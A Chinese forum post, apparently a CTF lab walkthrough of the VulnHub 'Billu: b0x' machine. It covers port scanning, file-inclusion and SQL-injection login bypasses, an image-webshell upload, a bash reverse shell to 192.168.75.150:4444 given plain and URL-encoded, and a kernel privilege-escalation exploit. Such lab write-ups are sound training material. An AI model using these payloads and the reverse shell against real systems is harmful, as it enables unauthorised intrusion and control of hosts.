BILLU: B0X

清欢   ·   发表于 2023-07-26 10:50:52   ·   CTF&WP专版

靶机描述

靶机地址:https://download.vulnhub.com/billu/Billu_b0x.zip

Description

This Virtual machine is using ubuntu (32 bit)
Other packages used: -

  • PHP
  • Apache
  • MySQL

This virtual machine is having medium difficulty level with tricks.
One need to break into VM using web application and from there escalate privileges to gain root access

信息收集

利用arp-scan -l命令扫描靶机IP


扫描端口

  1. masscan --rate=10000 --ports 0-65535 192.168.75.131


扫描服务

  1. nmap -T4 -sV -O -p 80,22 192.168.75.131


目录扫描

  1. dirb http://192.168.75.131 /usr/share/wordlists/dirb/big.txt

Web渗透

发现登录点,且提示”Show me your SQLI skills”,尝试SQL注入,使用万能密码admin' and 1=1 --失败

http://192.168.75.131/in

发现php配置文件,疑似存在文件包含漏洞

http://192.168.110.154/add

发现疑似文件上传点,尝试上传后无反应

http://192.168.110.154/test


提示:’file’ parameter is empty. Please provide file path in ‘file’ parameter(”文件”参数为空,请在”文件”参数中提供文件路径)
根据提示猜测这里存在文件包含漏洞


文件包含成功,利用同样的方式查看add.php、in.php、c.php、index.php、show.php、panel.php等文件
包含c.php成功获取到数据库账号密码”billu“,”b0x_billu


包含index.php


其使用replace过滤掉\' ,构造payload 万能密码进行绕过:

  1. un = ' or 1=1--+\'
  2. ps = ' or 1=1--+\'

便可以成功登录绕过

http://192.168.110.154/phpmy/


成功登录phpmyadmin,又找到一个用户密码

http://192.168.75.131/

峰回路转,从网站初始进行渗透,利用账号密码成功登录


发现文件上传点


对源码进行审计,发现存在白名单限制,只能上传图片类型


但是其存在本地文件包含漏洞

GetShell

所以现在GetShell的思路有2种

  1. 通过上传图片马以及本地包含图片马+使用反弹shell的方法
  2. 通过上传图片马+包含+echo写入一句话木马GetShell的方法

第一种:通过上传图片马以及本地包含图片马+使用反弹shell的方法


反弹shell

  1. echo "bash -i >& /dev/tcp/192.168.75.150/4444 0>&1" | bash
  2. %65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%37%35%2e%31%35%30%2f%34%34%34%34%20%30%3e%26%31%22%20%7c%20%62%61%73%68

第二种:通过上传图片马+包含+echo写入一句话木马GetShell的方法

SSH远程登录

phpmyadmin的默认的配置⽂件是:config.inc.php,通过查看配置文件发现账号密码

提权

拿到shell后,只是普通用户,接下来进行提权
查看当前版本

  1. cat /etc/issue

内核提权

  1. searchsploit Ubuntu 12.04


通过蚁剑上传到/tmp目录

利用反弹Shell编译并执行

  1. gcc 37292.c -o exp
  2. chmod +x exp
  3. ./exp

成功提权

用户名金币积分时间理由
Track-魔方 1400.00 0 2023-07-26 14:02:06 平台唯一 500 深度 200 普适 400 可读 200 稀缺 100

打赏我,让我更有动力~

0 条回复   |  直到 9个月前 | 240 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.